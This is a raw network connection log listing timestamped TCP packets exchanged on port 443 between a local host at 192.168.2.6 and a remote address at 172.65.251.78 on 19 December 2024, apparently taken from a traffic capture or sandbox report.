Dec 19, 2024 14:20:21.193114042 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.193154097 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.193188906 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.193196058 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.193232059 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.193288088 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.193320990 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.193361044 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.193422079 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.193437099 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.193495035 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.193495035 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.193511009 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.193551064 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.193630934 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.193630934 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.193640947 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.193706036 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.193732023 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.193738937 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.193761110 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.193854094 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.193854094 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.193864107 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.193924904 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.193964958 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.194041967 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.194041967 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.194051981 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.194072008 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.194101095 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.194108963 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.194130898 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.194132090 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.194175005 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.194181919 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.194216967 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.194320917 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.299631119 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.299679995 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.299794912 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.299808025 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.299815893 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.299951077 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.321768999 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.321811914 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.321885109 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.321893930 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.321944952 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.322001934 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.330362082 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.330404997 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.330487013 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.330496073 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.330550909 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.330565929 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.338704109 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.338759899 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.338813066 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.338820934 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.338862896 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.338862896 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.348514080 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.348558903 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.348668098 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.348676920 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.348751068 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.358309031 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.358355045 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.358431101 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.358431101 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.358439922 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.358522892 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.545461893 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.545520067 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.545558929 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.545572996 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.545633078 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.545633078 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.545680046 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.545737982 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.545788050 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.545797110 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.545859098 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.545893908 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.545902014 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.545931101 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.545965910 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.546010017 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.546010017 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.546020031 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.546072006 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.546072006 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.546129942 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.546170950 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.546217918 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.546224117 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.546269894 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.546269894 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.546363115 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.546405077 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.546473980 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.546473980 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.546480894 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.546542883 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.546554089 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.546566010 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.546601057 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.546626091 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.546641111 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.546644926 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.546705008 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.546705008 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.546734095 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.546775103 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.546821117 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.546827078 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.546885967 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.546937943 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.546979904 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.547022104 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.547090054 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.547090054 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.547096968 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.547180891 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.547207117 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.547214031 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.547231913 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.547265053 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.547265053 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.547272921 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.547328949 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.547328949 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.547440052 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.547483921 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.547530890 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.547538996 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.547583103 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.547583103 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.547709942 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.547753096 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.547831059 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.547831059 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.547837973 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.547923088 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.547951937 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.547960043 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.547977924 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.548008919 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.548008919 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.548016071 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.548086882 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.548111916 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.548118114 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.548151016 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.548185110 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.548190117 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.548244953 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.548244953 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.548253059 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.548304081 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.548316956 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.548327923 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.548396111 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.548413992 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.548413992 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.548424006 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.548445940 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.548469067 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.548487902 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.548491001 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.548513889 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.548538923 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.548576117 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.548576117 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.793555021 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.793608904 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.793648005 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.793659925 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.793709993 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.793709993 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.793926954 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.793967009 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.794035912 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.794035912 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.794044018 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.794253111 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.794300079 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.794325113 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.794339895 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.794395924 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.794395924 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.794465065 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.794502974 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.794534922 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.794549942 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.794568062 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.794627905 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.794656038 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.794694901 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.794723988 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.794730902 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.794756889 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.794878960 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.794893980 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.794934988 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.795007944 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.795016050 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.795079947 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.795097113 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.795097113 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.795105934 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.795125961 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.795145988 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.795197964 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.795198917 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.795206070 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.795258045 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.795268059 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.795289993 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.795331955 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.795341969 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.795375109 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.795392990 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.795443058 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.795444012 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.795546055 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.795584917 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.795618057 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.795624971 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.795656919 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.795681000 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.795767069 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.795805931 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.795849085 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.795855045 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.795897007 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.795928955 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.795938969 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.795954943 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.795988083 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.795990944 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.796029091 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.796035051 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.796050072 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.796094894 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.796111107 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.796163082 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.796204090 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.796211958 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.796236038 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.796248913 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.796278954 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.796320915 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.796344995 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.796353102 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.796381950 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.796403885 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.796448946 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.796493053 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.796510935 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.796528101 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.796571016 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.796571016 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.796622992 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.796668053 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.796705008 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.796711922 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.796724081 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.796750069 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.796755075 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.796773911 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.796829939 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.796838045 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.796838045 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.796847105 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.796880960 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.796930075 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.820084095 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.820131063 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.820171118 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.820180893 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.820225000 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.820225000 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.825768948 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.825814009 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.825865984 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.825874090 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.825917959 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.825917959 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.831728935 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.831826925 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.831826925 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.831852913 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.831882954 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.831897020 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.835457087 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.835500956 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.835551023 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.835557938 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.835612059 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.835612059 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.840123892 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.840166092 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.840212107 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.840218067 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.840270042 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.840270042 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.844759941 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.844860077 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.844876051 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.844890118 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.844995975 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.845132113 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.849261999 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.849303961 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.849365950 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.849373102 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.849402905 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.849484921 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.923418045 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.923464060 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.923564911 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.923564911 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.923576117 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.923726082 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.928245068 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.928287029 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.928340912 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.928348064 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.928390026 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.928582907 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.932593107 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.932636023 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.932679892 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.932687998 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.932735920 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.932735920 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:21.936856031 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:21.936909914 CET	443	49739	172.65.251.78	192.168.2.6
